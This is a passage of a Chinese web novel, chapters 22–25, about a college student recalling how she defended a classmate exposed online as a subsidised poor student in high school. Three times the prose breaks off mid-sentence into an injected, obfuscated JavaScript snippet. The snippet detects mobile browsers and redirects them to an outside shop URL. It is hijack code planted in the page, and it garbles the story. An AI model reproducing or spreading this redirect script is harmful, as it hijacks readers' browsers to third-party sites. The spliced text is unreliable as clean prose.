周见春也在看她,两人偷瞟的目光相撞,卢郁雪先移开了视线。 不回答他恐怕是不行了,卢郁雪想了想还是跋扈地开口:“那怎么了,不是说了嘛,我们不熟。不熟你还想我给你发什么?” 不熟吗?都认识三年了,这叫不熟? “还是因为高中的事吗?” 绕来绕去,周见春能想到的原因只有这个。 卢郁雪哑了火,周见春挑明了,那自己该怎么说。说就是因为高中拒绝自己表白,那不成了自己对他念念不忘。 “不是。”她矢口否认,周见春一眼看穿卢郁雪在撒谎,可他还是等着卢郁雪给他解释。 “真想知道?”卢郁雪踌躇着开口。 “真想知道。”周见春诚恳地点头。 “你是男的,我是女的,你该有边界感的。” 这叫什么理由,周见春笑而不语。 卢郁雪深吸一口气,觉得还是得把事情说开。 “我已经不喜欢你了,你呢也不喜欢我。那我们就是普通同学,普通同学就该有普通同学的觉悟,你说是吧。” 说完她自己先点点头,似乎很满意自己的回答。 周见春收了那抹笑,胸口有点闷,可卢郁雪笑得很开心,好像真的打算和自己划清界限。 他放下帽子递到卢郁雪手中,卢郁雪半信半疑地接过,用了很大的力气,差点向后一摔。 意识到是自己想多了她不好意思笑笑,轻轻拍了两下帽子戴在自己头上。 她掏出口罩,双手撑开想带上,一双手捏着折痕处向下移。 再抬眸一张很有冲击力的脸出现在眼前。 “我不想跟你当普通同学。”他的语气不太正经。 嗯?周见春知道他在说什么吗? 卢郁雪的脑袋疯狂运转平时在网上看的高情商回答,但脑子跟死了一样,她现在唯一能完整复述出来的话是【现代汉民族共同语是以北京语音为标准音……】 什么东西,还不如abandon呢。 “那,那你想干嘛?” 她结结巴巴地开口,不受控制地往那方面去想。 可是,周见春说了不喜欢自己啊。 22. 你是不是有病 “我想和你当好朋友。我想和你重新开始,做朋友。” 他直起身子等卢郁雪的回答。 “周见春。”她叫他的名字,但眼中慌张的神色不在,“你是不是有病。” “我没病。”他像是真的没听懂卢郁雪的话,认真地为自己辩解。 “我看你就是有病,你不仅脑子有病,全身上下都有病。” 卢郁雪懒得跟他继续讲下去,甩了一个大白眼,周见春想要挽回的手落了空。 天青云白,大片的阳光照在铁栏杆上,晃得人不能直视。叶敏一进门就开始感慨:“幸好最近都是晴天,再阴下去我都想去你家烘干了。” “当然可以,不过你有那几块钱坐地铁去我家,学校烘干机也用上了。”卢郁雪侧着身子答。 叶敏拉开椅子坐下,椅脚套了橡胶套并没有刺耳的声音,点开还未整理好的文档,不禁有些头疼,背对着卢郁雪开口:“哎,你下周有没有时间去看辩论,不出意外负责拍摄的应该是你们学生会。” “辩论?哪天?” 卢郁雪打开学生会的群聊往上划,她设了免打扰,很多消息都漏了过去,但因为不重要,看没看到也没影响。 “周二晚上,通知应该就这几天发吧。”鼠标快速地点了几下,接着是敲打键盘的声音。 “你不是不打辩论了吗?” 江林大学每年都有辩论赛,分学院进行,再到学院间竞争,前几年还打到了全国,最近几年倒是没听说。 叶敏入学时候就是典型的因为热爱选择文学,成绩好不必说,对学校的活动也很上心,征文演讲辩论等等均能拿到不错的名次。 反观卢郁雪,只是填了一堆志愿恰巧被这个录了,加入学生会也是因为综测加学分,而且拍摄这个任务她也不反感,所以大一结束后继续留任干事。 “给新生打的表演赛,看个乐呵,不需要太怎么准备。” 这话卢郁雪不信,叶敏干什么都会细细准备,嘴上说放轻松,其实背地里早已摸得清清楚楚。 “行啊,反正没课,等我这个天才摄影师给你拍出神图,成为文学院表白墙的女神。” “你可别吹捧我了,我只是不想留个丑照。” “放心吧,我给你大拍特拍。” 说完卢郁雪起身去抠相机里的内存卡,卡槽里弹出一张64G内存卡,还是上次拍了迎新晚会用的。 也不知道还能拍几张,她拨到ON的字标上,相机屏幕下方显示还余一百多张可拍。 有点不够。 她拉开抽屉去扒自己之前的内存卡,有一张SD卡没有装在收纳盒里,而是随手装在一个密封袋里。 卢郁雪喜欢买卡,拍过太多,她也想不起来每张卡里是什么,只有插到电脑上读取才能知道了。 正在读取中,等了几秒卢郁雪点进去。 文件夹很多,一半都是空的。 终于点到了图片的储存位置,第一张照片的时间在19年。卢郁雪对这张卡的来源有了些印象。 郁青在出版社工作,早年单位购入的摄像机微单逐渐淘汰,就到了卢郁雪手中。那时他们工作都很忙,这个微单全当给卢郁雪解闷了。 说来,应该是卢郁雪第一次接触到专业的设备,可父母工作太忙,连休假出去旅游都很少有,卢郁雪就只能自己摸索。 那时候拍照全凭心意,按下快门就算摄像,没有构图也不懂任何参数。 拍得多了,也能说上一些影响拍照的因素。升入高中后,除了运动会联欢晚会这种活动,她没带到十九中几次。 图片是RAWJPG两张格式保存,卢郁雪快速滑着鼠标浏览。 扑面而来的青涩将她的思绪拉回过去,在尚不清楚前路的青春里摸索着前行,仅靠那台微单,拍下自己觉得值得记录的场景。 她一张张看过,很快照片到了高三运动会的时候。那时她和班内的同学还是客客气气的,除了给宋芷兰拍,就是学校的花花草草。 停留在倒三角处的鼠标刚点下,过到下一张照片的间隙,她脑中突然闪出周见春的模样,和刚刚照片的身形似乎吻合。 高三时候运动会开了三天,照片拍摄于第二天傍晚,她买奶茶回来准备回教室看电影。 见外面晚霞特别好看,才特意拿相机冲到走廊拍了一张。 那时天色已经暗了下去,太阳在地平线以下,蔚蓝色的天空随着时间而逐渐加深,云像是浮雕一般清晰地描摹出形状。 一条微弱又不笔直的线留出最后的雪青色。 走廊上人来人往,没有明显地走向哪个方向,只是不停地有人出现在她的镜头里。 香樟树刚好和三楼的高度齐平,但树冠不能完全遮住视线,稍稍抬头就能看到一弯新月。 卢郁雪匆匆按下快门,连参数都没有来得及调整。拍了几张发现和肉眼看见的根本不一样,她只好放弃回去安分等着看电影。 鼠标向前翻,还有一张,画面还要暗。 应该不止一张才对,可能是自己删了。 卢郁雪编辑着照片的参数,曝光往上拉了一点,能看清图上大部分人的脸庞。而在照片的正下方,延伸出去的小阳台、香樟树冠路灯投下的阴影里站着一个人。 因为手抖还虚了焦,但男生面容没有糊成一团雾,卢郁雪放大对着那张侧脸仔细看。 她其实更熟悉周见春的侧脸和背影,比起正面撞见,高中时候她遇到周见春多在楼梯的拐角,食堂排队一前一后的站位,还有故意从他们班走过窗外的匆匆一瞥。 卢郁雪看着屏幕里的周见春,觉得有些奇妙,她自诩和周见春没有交集,连对方曾出现在自己的镜头里都不知道。 但这些痕迹始终存在,就像现在时隔两年又被卢郁雪看见。 如果是运动会第二天的话,她大概知道为什么周见春会出现在三楼了。 十九中平时不允许带手机,但运动会可以。 教室关了灯拉上帘子看电影,但真正在看的没几个。后排男生聚在一起打游戏,弄出的动静太大,班长汪熙没几分钟就要过去敲桌提醒。 最后实在受不了了,连坐在第一排的卢郁雪都听到汪熙的声音。 “再鬼叫都给我滚到走廊去。” “是是是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067934|146324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,错了,错了。” 亮得能看清脸上毛孔的手机屏幕投射在头顶的天花板上,后排看电影的同学都很不爽地搬着凳子到了前排。 卢郁雪和宋芷兰原本宽敞的桌面堆满了别人的零食饮料,她坐在过道,出去都有点不方便。 亮着的地方,除了打游戏追剧还有一种可能是打台灯写卷子。 明明运动会期间没有作业,还要这样卷生卷死,卢郁雪看到总觉得窝火。 学习没错,人家愿意学她也管不着,但这样的学习在无形中也给别人施加压力,让她玩也玩得不安心。 蒋冠华就是典型,成绩不错长得还行竞赛拿过奖,偶尔还会和老师争论难题。 他有点张扬,但也有张扬的资本。让人看不惯又说不得。 自从高二两人吵过一次架,几乎没说过除了交作业之外的话。可能是嫌打游戏的人吵,他也挪到了卢郁雪后面的空位上。 卢郁雪大摇大摆地走过,她又不心虚。 “卢郁雪,你物理专题卷写了吗?” 快要到蒋冠华桌边的时候,他突然开口问自己的作业。 奇奇怪怪的一个人,卢郁雪想装没听见,蒋冠华又追加一句:“没写抓紧写。” “干嘛,我写没写影响你了?”卢郁雪拧头回来,双手压在桌面没好气地问他。 蒋冠华虽然坐着,但和卢郁雪高度差得不多,他快速瞥了卢郁雪一眼说:“物理老师让我盯着点你,受人所托。” 盯着自己,为什么啊,那么多人,怎么就盯着自己。 “凭什么啊。” “那你去问他,出门左转不送。” 他甚至做了一个请的手势,好像很不耐烦,明明该自己不耐烦才对。她好好一个人怎么需要别人盯着了,还是蒋冠华,怎么偏偏挑了他。 “哦。”卢郁雪应了一声往后门小声地嘀咕着,“说话也不能好好说,下巴都要扬到天上去了,进了省队也拿不到奖。” “你说什么?” 蒋冠华手中的笔转了一个圈,他回头问卢郁雪。后排的男生还在打游戏,动静不小,蒋冠华怎么会听见自己说话。 “我说,祝你决赛拿奖。”说完,她还给蒋冠华比了加油的手势。 那勉强的表情蒋冠华一看就知道她没说真话。 提到省队,蒋冠华还真的有点不爽,去年他在竞赛班好好地上课,突然冒出一个叫周见春的人处处抢自己风头。 搞物竞的女生不多,而且大多实力很强,他从高一就开始搞竞赛,成绩也算亮眼。临近初赛的时候周见春才来,他一来,原本和自己关系不错的女生都和周见春走近了。 幸好省赛两个人拿的都是省一,不算太丢脸,今年他本想和对方分个高下,结果对方不来了。 真是没胆子的家伙。 和卢郁雪说了几句话,算了一半的题目也写不下去,他点开手机收到一条链接。 竞赛班的同学发来的,也在二班。 曝十九中高二二班某男生平时装富少,实则是需要靠卖惨拿补助金的贫困生。 【周见春,你还记得吗?特能装那个】 23. 不要耽误学习 蒋冠华看完帖子内容才切回聊天页面。 【有点印象】 【也就讨女生喜欢了,装得我还真以为他是什么富二代,要不是我今天去办公室找东西还不知道他家里那么穷】 他把手机搁在桌面上,白底黑字格外突出,让人无法忽视。 【你发的?】 【是啊,下面居然还有人站他,看头像应该是个女生,也不知道又是哪个小迷妹】 【[图片]】 表白墙的帖子原本只有在晚上十点之后才会有零星评论,但今天运动会大部分人都带了手机。 遗失寻物的捞人的偷外卖的还有挂人的。 卢郁雪出了后门真想去办公室问问物理老师怎么想的,又怕是郁青给自己找的“后门”,只能憋着气坐在楼道刷手机。 在班里有讨厌的卷王和噪音制造机,反而楼道空荡荡没有人很自在。 运动会期间点开手机第一件事,当然是批阅空间,她都没仔细看内容一路赞下去。 表白墙挂的贴子都是九宫格的匿名投稿,今天倒是奇怪得单独了的一张图。 标题只有几个字【高二二班投稿】,连什么事都没有说。 她好奇地点进去,长图只看了一半,她就明白点的人是谁。 高二二班,某男生,装富二代的贫困生。 谁发的呀,从县城考上来碍着你了,补助金又不是你发的,不爱说话影响你了。 看完整个帖子,卢郁雪恨不得直接私信墙这个人是谁,她一时情绪上头,连发几条评论。 楼道里的感应灯没有亮,卢郁雪见没人回复,正酝酿着如何逐一反驳,楼梯口突然出现一个黑影。 亮起的屏幕下移,她的眼睛缓慢适应昏暗的光线才看清眼前来人。 是蒋冠华。 没什么好招呼的,卢郁雪垂下头假装看手机。 “问到原因了?” 手机的亮度只能看清蒋冠华的脸,她募地抬头,见蒋冠华很是挑衅地问自己。 “关你什么事。” 卢郁雪不想回答他,抓着还没有熄屏的手机蹬蹬下楼,那片光亮也随着她的步伐消失在蒋冠华视野中。 她没去,蒋冠华看出来了。 回到教室的时候,她的评论得到了几个赞。帖子下面的评论多了起来,还有吵架的趋势。 自称是高二二班的人分为两波,一波站帖主说周见春笼络老师占补助金名额叫嚣公开申请资料,一波反驳帖主说周见春为人真诚坚持要保护他人隐私。 电影已经放了一半,宋芷兰零食也吃不动,戳了戳旁边一直盯着手机的卢郁雪问:“干什么呢,一直看手机。” “你知道我们学校表白墙是谁负责吗?” “表白墙?一届传一届吧,不知道。” 卢郁雪无意识地抿了抿嘴,给宋芷兰发了一个链接。 她的掌心一震,狐疑地瞥了卢郁雪一眼点进去。 宋芷兰的反应比卢郁雪大得多,甚至是边看边骂。 “不是,有病吧,这谁啊,见不得别人好是不是。还哄骗女生,富二代就是我传的,有本事跟我线下对质。” 转头,卢郁雪很是平静地看着自己,“你,没有什么想法吗?” “我骂过了。” 宋芷兰哦了一声,也在下面发了自己的评论。不过很快被淹了下去,帖子的热度居高不下,回到家里的时候表白墙又发了好几个匿名投稿的长图。 第二天六点多钟卢郁雪出现在在教室,满脸憔悴。 “你怎么了,没睡好吗?” “嗯,可能是吧,这几天都没有午休,我有点困。” “那你闭眼休息会吧,我正好给你扎头发。” 运动会期间不需要穿校服,没有项目的女生都会穿得很漂亮。宋芷兰手巧,卢郁雪只需要早来十分钟,就能得到蓬松又漂亮的辫子。 可卢郁雪昨天连夜写了一篇回应,还千叮咛万嘱咐墙要单发。 为了让她的回应无懈可击,卢郁雪是字字斟酌到半夜,幸好卢远峰值夜班看不到她屋里亮灯。 现在别说扎辫子了,就是给她化成花,也是憔悴的花。 “太漂亮了,打起精神来,中午请你吃好吃的。” 卢郁雪半眯着眼睛任由宋芷兰摆弄自己,直到被拉到操场,阳光照得她睁不开眼人才清醒一点。 看台按班级坐,但运动会根本没人管你。别说坐哪,你就是没来老师都不知道。 走到自己班级的位置之前,卢郁雪一直在找二班。可惜操场太大,看台的人又多又密,她根本没法找到周见春在哪。 她不知道周见春会不会看到帖子,但按现在的热度来说,他应该知晓。自己这样,有点像个爱管闲事的,她和周见春不熟,她应该清楚。 被宋芷兰的情绪带着,卢郁雪是清醒了大半天,但天色一暗,她的困意就涌了上来。 不是周五,没法提前放学,还是放了一部电影,但卢郁雪实在困,趴了两节晚自习挨到九点钟才背着包回家。 眼皮很沉重,卢郁雪下楼的时候觉得睁不开眼。人流中多是三三两两闲谈的,她打了一声哈欠,耳廓似乎也在那刹那休息,完全屏蔽了外界的声音。 眼底涌出湿润的液体,卢郁雪眨巴眨巴眼睛听见前面两个人在讨论周见春。 “他们男生之间怎么还勾心斗角的?” “你怎么知道发帖人是男生?” “废话,那语气一看就不是女生好吗?我看现在帅哥也遭人恨。” “不是有很多人为他澄清吗?应该没事吧,过几天估计就都忘了。” “但那个男生肯定记得,跟校园霸凌有什么区别,最多也就轻飘飘一句对不起揭过去了。” 已经下到一楼的楼梯口,风不知道从哪个方向吹来,周遭瞬间冷了下去,刚刚还在谈话的女生往卢郁雪相反的方向走去。 天上没有星星,路灯照在不平整的地面上,倒像一片银河。 刚刚提起的一点精神又衰弱下去,卢郁雪插着兜走,几乎完全放空自己。 困,真的困。 卢郁雪扶着地铁的杆子眯了几分钟都觉得好像做了一场短暂的梦。 回嘉合花苑的路上,还有车辆来往,她走在人行道上听着车鸣声,遥远地像是几公里之外。 原来人在极困的时候是五感尽失的。 进到嘉合花苑即将拐弯的地方,卢远峰拿着文件夹出现,先是往卢郁雪的身后望后才关心起卢郁雪。 “爸,你现在去哪啊,今天不是不上夜班?”卢郁雪打起精神问他。 “医院有点事,我回来拿个东西,你一个人回来的?坐地铁吗?” “是啊,我们今天刚刚开完运动会,晚上还看了电影。” 卢远峰只是点点头,轻轻拍了拍她的肩膀:“你玩得开心就好,生活费还够吗?茶几上有现金,需要你自己拿。晚上睡觉锁好门,我在医院不一定回来。” “知道了。”她轻声答着,看起来兴致不高。 卢郁雪往自己的身后看去,只有被路灯拖长的影子。 拐个弯就是一条直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081184|146324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路,通向嘉合花苑的大门,卢远峰从卢郁雪的视线中消失又出现在周见春的视野里。 十一月的江林市已经很冷,男生站在路灯下,身上只有一件单薄的外套。他站得笔直,像是故意和风作对。 周见春被卢远峰发现后,没有走,只是站在拐角处等卢远峰走来。 如果运气好,应该会认为他是路过;运气不好,可能会警告自己一番。可路过确实牵强,哪有那么巧每次接自己女儿都能看见自己。 “你是十九中的?”卢远峰瞥到了男生短袖上的校徽,虽不甚清晰,但能辨认出来。 “是。”他答得干脆。 “你住这?” “嗯。” “你是卢郁雪同学?” 问到这的时候,他的表情有些严肃,可比他还要高的男生突然不说话了,眼眸暗下去像是失了神。 他和卢郁雪好像连同学也算不上。 风从四面八方吹来,男生薄薄的外套扛不住风,领口的拉链翻到了衣服里面。 他轻轻嗯了一声算是回答。 洞察人心是这个年纪的医生应该具备的能力,卢远峰从没在卢郁雪口中听过任何一个男生的名字,理所当然地认为是男生对自己女儿有意思。 他不再问下去,简明扼要地开口:“明年就要高考了,不要耽误学习。我说的,你能明白吗?” 如果不是他想得那样,就一定会反驳自己,可见男生这畏畏缩缩的模样,卢远峰猜了个七七八八。 立冬已过,枯黄的叶子簌簌落了满地。桂花谢得差不多,风中浸透了寒意,连这残余的桂花香都被冻住,弱到几乎闻不见。 “明白。”他抬眸认真地说,可一张口,话就被风吹了回来。听起来含糊压抑,像是有很多阻力和忧愁凝在他的心上。 “回去加件衣服吧,最近降温了。” “谢谢叔叔。” 秋夜寒凉,路灯惨白,卢郁雪回家拉开自己卧室的灯终于感到一点温馨。屋内没有开窗,她身上带来的冷气倒是搅开了这团平静的空气。 回应周见春贫困生的帖子很多,她那条得到的点赞最多,见到有人支持,卢郁雪自然开心,连困意都消了几分。 早放学一个小时,时间就是宽裕很多,卢郁雪在床上翻个身收到了十九中表白墙给自己的私信。 【同学你好,你校领导已关注到此事并与我沟通希望删除帖子消除不良影响,如你有意愿删除请及时联系我】 原来墙真的是学生在管,她还以为学校会装死呢,原来也会在乎影响。不过怎么会这么快注意,她没听说二班今天发生什么事啊。 卢郁雪直接给自己分到二班的同学发了消息,对方也是秒回。 【你也知道这事啊,闹得挺难看反正,都去班主任那吵两天了】 【为什么?贫困生不都是按流程走的,有什么不满要攻击别人家庭】 【其实,就是我们班体委看不惯他。运动会班服文娱委员想订学院制服,为了配套男生肯定也得穿。平时上学都穿校服,几百块钱买来也是浪费,最先投票时候大家都不好意思反对,周见春先投了反对,然后这个提议就取消了】 【你们班体委想穿啊,想穿自己买,投个反对怎么了】 卢郁雪气得坐起来盯着手机等回复。 手机那头的人好像沉默了,【文娱委员是女的,提议取消时候还哭了,当时体育委员过去安慰她。你懂没】 懂,这可太懂了。 卢郁雪给表白墙回了两个字【不删】 【收到】 24. 发帖人 七点之前早读是英语,卢郁雪放下自己也不知道哪里摸出来的语法书掏出必备古诗词。视线从桌下移到桌上,老张正严肃地站在讲台上扫视全班。 “运动会结束了,也该收收心,还有一个月就是一模,全市赋分排名对高考有很大的参考作用。和学习无关的事不要掺和,学校也在查,我不想找你谈话,你应该也不想跟我谈话。” 他理着讲台上的东西,卷子粉笔头还有各种便利贴。 动静不大,可教室里静得只能听见呼吸声,每揭下一张便利贴,粘稠的胶水与讲台那种分离的拉扯声就像是在宣泄自己的怒火。 卢郁雪不敢吭声,端坐着听老张训话。 她昨天给表白墙发的好像是不删,不会真的能查到吧,管理表白墙的学生不会干这种事吧。 “卢郁雪,下课把读书笔记收上来。”他抹干净讲台,挂在课表下面的挂钩上,转头对卢郁雪说。 下面是一片哀嚎,开了三天运动会,哪里有人还记得读书笔记这事,别说他们了,卢郁雪自己也没写几篇。 “鬼哭狼嚎什么,写多少交多少。”老张说话总是很平和,没有起伏,卢郁雪听他讲课总会困。但威严也藏在这样平和的话里,不用刻意去品,就能觉察到不舒服。 班内瞬间安静下去,卢郁雪点点头说:“好。” 作业收得很顺畅,都摆在桌面上,卢郁雪走一圈就收齐了。 她双手拖着最下面一本去到办公室,不带班主任的老师这个点不会来,不上第一节课也不会来,应该都去食堂吃早饭了。 卢郁雪把作业摞齐放在老张的柜子上,木门吱呀一声被推开,先进门的老师摁下开关,原本昏暗的办公室顿时亮了起来。 她的身后还跟了一个人,身影错开的瞬间卢郁雪看清了来人。 女老师穿着毛茸茸的卫衣,这样一比,周见春穿得实在太单薄,像是只有一层布料。 他们许久不见,又经历了表白墙被挂,男生的面上依然看不出什么情绪。碎头发已经长到遮住眼睛,白炽灯打下来,卢郁雪看到他的眼角有很多红血丝。 周见春看见了她,但只是一瞥就移开了视线。 卢郁雪本想听一会儿再走,但女老师似乎顾忌她在这,只说了些无关紧要的话。 她也不装样子了,自觉带上门。 为保证上课精力,学校从早读抽了十五分钟出来和课间十分钟加在一起,刚好能睡一觉。 走廊里偶尔会有几个人往洗手间走,也有腻歪的小情侣趴在栏杆上聊天,卢郁雪现在回去也睡不着。 她站在办公室的走廊前等周见春出来,玻璃隔音效果很好,卢郁雪只能听见他们一直在说话却怎么也听不清说什么。 也不知道要聊多久,卢郁雪靠着办公室的墙面往上看,今天的云层很厚,明明太阳已经出来,也只能看见一个黄色的光晕。 教学楼和办公室是连廊,她突然发现在这里可以看见每层楼的走廊,包括四楼二班的走廊。 同理,周见春如果在四楼这个位置也能看见三楼的走廊,她又坐在窗边第一排,视力好的话,简直是一览无余。 她有些窃喜,不知道周见春去办公室时候会不会注意自己。 思维还未开始发散,身后的说话声音突然消失,卢郁雪转头周见春正好打开门往外走。她急忙转身站好想打个招呼。 可周见春见她在这全然没有诧异,好像也不在乎,带上门,自顾自地往楼梯口走。 卢郁雪不知道他们说了什么,但猜也能猜到是表白墙那事。 她追了上去,正对着周见春背手而立。 对方似乎很不想搭理自己,往左边跨了一步,他往哪边,卢郁雪就往哪边。 几步之后,两人对峙站着都憋着股气。卢郁雪看出来他心情不好,干脆开门见山。 “周见春,你很缺钱吗?我有钱,我可以借给你,都是我自己的钱,我父母不管,你不用担心。” 他今天校服拉链拉到最上面,卢郁雪看不见他的锁骨了,只有上下滚动的喉结,还有他有点不耐烦的神色。 卢郁雪没有见过周见春生气,也不知道周见春现在是不是生气了。 难道是自己这样说出来太丢人了,可她总不能趁人不注意往他包里塞钱吧。 她抿着嘴眼神胡乱瞟着,谨慎又小心地开口:“表白墙上的帖子你是不是看见了,我相信你,他们肯定是嫉妒你乱说的。相信你的人很多,你不用理会他们。” 他的眼皮颤了一下,厚重的云层变得稀薄,洁白的瓷砖上隐隐约约有浅黄色的光投射下来。 周见春凝视着卢郁雪,她说得真诚也笑得明媚,却在观察自己的脸色,好像很在意自己的感受。 他想再多说些什么,但只是平静地移开视线说道:“谢谢,不需要。” 周见春从自己身边走了,卢郁雪小步地跟上去解释:“我真的有钱,我从小到大的压岁钱,中考政府奖金,还有去年成人礼都在我卡上。” 楼梯口的风很大,周见春踩上台阶的步子停了下来转头看她,卢郁雪这次发现自己和对方贴得太近,一伸手就能握住对方胳膊的程度。 她往旁边挪了一步说:“你有需要真的可以找我,我有好几万块钱,不收利息,你发达了还我就行。” 对方没有应她的话,沉默地上了四楼。 卢郁雪昂头目送周见春消失在拐角才回到自己班里。 教室里拉着帘子没有开灯,卢郁雪垫着脚进来从书包里偷偷摸摸地拿出手机,点进表白墙的空间,帖子居然删了大半,卢郁雪那条已经是点赞和回复最多的了。 她又翻到最开始挂周见春的那条帖子,昨天凌晨更新了后续是打算与班主任沟通公开申请材料及细节。 卢郁雪看着就来气,凭什么要求公开申请材料,把自己辛辛苦苦盖到的章和证明摆在面前给这些人看。 第二节课下课,广播传来课间操的音乐,宋芷兰磨磨蹭蹭地不愿起身,扶着桌边的手硬塞进了一张纸条。 面前的卢郁雪朝自己坚定地点点头,转身向外跑去。 【帮我请个假,说我肚子疼】 周见春班主任就坐在老张后面,卢郁雪侧着身子从人流中挤到办公室,门关着但门缝下面透着光。 卢郁雪敲敲门,听到一声进。 推门而入,周见春的班主任正拿着手机准备往外走,见卢郁雪过来也没当回事,但女生却直直停在自己面前,挡住去路。 “老师你好,我是高二六班的卢郁雪。”她双手背在身后介绍自己。 “哦,你有什么事吗?”女老师柔和地开口,眼前的女生有点眼熟,但她想不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093032|146324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起是谁,听到介绍班级,才想起是张老师的课代表。 “我是表白墙的发帖人,想问问您对近期二班贫困生名额一事的处理办法。” 背在身后的手移到了前面,手机举到了女老师面前,亮着的是她和表白墙的聊天页面。 女老师坐回到自己的桌前也招呼着卢郁雪坐下,但卢郁雪只是站着。 她略有不满地开口:“你知道在校期间不允许带手机吗?” “我知道。” 卢郁雪乖巧地点头,拿出来的时候她就想到了后果,大不了请个家长批评教育一顿,最多再给她开个通告批评贴在楼下公示栏。 “这次我可以当没看见,以后不要带来学校,至于你说的——”她拉长了尾音观察卢郁雪的反应,“要经过学校讨论决定,我现在不能给你任何答复。” 她不再给卢郁雪眼神,打开自己电脑,鼠标点来点去等着卢郁雪自己知趣地退出去。 卢郁雪也如她所想,把手机收了回来但没有走:“申请资料在拿到名额之前就已经经过各方认证筛查,如果每有一道质疑的声音出现就要反反复复将这些剖出来给别人看,那这个补助是不是算践踏人的自尊心。” 她说得义正严词,带着年少的意气和路见不平拔刀相助的冲动,女老师意味不明地笑了笑,卢郁雪有点后怕。 “你有这样的担当是好事,但是,这不是我一个人说了算。我不是在下你面子,只是和你说这个事实。” “我知道,所以,一定要公开吗?老师你看过他的申请资料,周见春没有故意侵占名额。” 卢郁雪有些着急,女老师的面色终于缓和一些,这次是真诚地笑着说:“我看过,我也叫了几个同学了解情况。名额是学校给的,不存在侵占,资料大概率不会公开。” “放心了?” 她突然开始试探自己,卢郁雪一个激灵站直了身子忙说:“放心放心,谢谢老师,老师再见。” 卢郁雪连鞠了两下躬,带起的风急到桌面没来得及收入文件夹的卷子都飘到了地上。 女生蹲下去捡起卷子放到自己桌面,走得太急,胳膊还撞到了桌角,龇牙咧嘴地捂着走了。 从开始注意到这事的几天里,她听到不少议论,还有背着她谈论自己的,当面找上来问个清楚的,张老师的课代表还是第一个。 停留在倒三角处的鼠标一直没动,叶敏走上前拍了拍卢郁雪的肩膀,她才无意间撞到,照片切到了下一张。 “看什么呢,跟你说话都不回我?” 下一张照片没有编辑过,黑漆漆一片,看不清人脸,只有上方的晚霞还算鲜明的色彩。 后来有没有公开卢郁雪也不清楚,只觉得每次见到周见春班主任都有点心虚。 “你高中?” “对,我高中拍的照片,刚刚想找内存卡来着,你问我什么?” “哦。”叶敏逛回自己的座位幽幽地开口:“没什么,你手机铃声没关,记得看消息。” 看消息,怎么突然提醒自己看消息。 亮起的手机屏幕弹出一条横幅,周见春发的消息。 【考虑好了方便通知我吗】 【考虑什么】 【做朋友】 谁要跟你做朋友,卢郁雪斟酌着打下一行字。 【看我心情】 25. 初见 卢郁雪本以为敲完这行字,周见春就会知难而退,但对面又发来一条消息。 【那卢郁雪同学,你现在心情好吗】 她的心像是被挠了一下,就如春日的狗尾巴草蹭过手心,轻柔微弱但有刹那的悸动。 【不好】 她心情确实不好,但和周见春没关系,单纯讨厌上课。 【有什么我可以帮忙的吗】 还真想帮她,卢郁雪想了想,确实没什么事。 【暂时没有】 【有任何需要都可以叫我】 【行】 发完卢郁雪有点后悔,自己这不是给他希望了。明明说了不喜欢周见春,可为什么不能拒绝他的示好。 卢郁雪讨厌自己这样摇摆不定。 十二点下课两点上课,这个时间,午睡都不够,卢郁雪从墙面拔下手机充电器转头问叶敏:“走吗?上课?” “走走走。” 叶敏匆匆关了电脑往包里塞书,卢郁雪突然想起还没有问她辩论是什么题目。 “辩题啊,辩题是人生若只如初见可悲还是可喜。” 人生若只如初见,何事秋风悲画扇。出自纳兰性德,选这个辩题,也是个有意思的人。 卢郁雪挽着叶敏手臂问她:“那你是哪一方?” “可悲,我亲手抽的签。” 听她的语气,似乎并不满意这个立场,卢郁雪追问道:“那你原本想站哪一方?” “我啊,我一开始就站可悲,正好抽到这个。你想万事万物都在变化,人怎么可能不变,哎,你有什么想法没,给我提供些新点子。” 她摇摇头,这么短时间问有什么想法,她说不出来。 从教学楼往外走,路两旁早早亮起路灯,天色已经暗了下去。卢郁雪以前感觉不到时间过得快,如果是夏天现在正是散步吹晚风的好时候,但十月份已经需要路灯照明了。 “你有快递吗?我要拿快递。” “没有诶,那我帮你把饭带回去。” 卢郁雪点点头,将打包盒递给叶敏,在岔路口挥手告别。 快递站设在很偏远的地方,故而和梅园相邻,她住得还算近,教职工宿舍来拿快递才是真的跨半个校区。 这个点又是下课又是吃饭的,卢郁雪从进来就一直侧着身子走,她默念手机上的取件码按照分区号开始找。 过道狭窄,来的人又多背着书包,卢郁雪手里已经拿了两个小快递,再往里挤可能会挤掉。 她靠着货架站着,等里面低头寻找的人找好出来。 不大的空间里满是人和各种塑料袋纸盒的气味,有些放置时间久没有人来取,前几天又下雨,散发出难闻的气味。 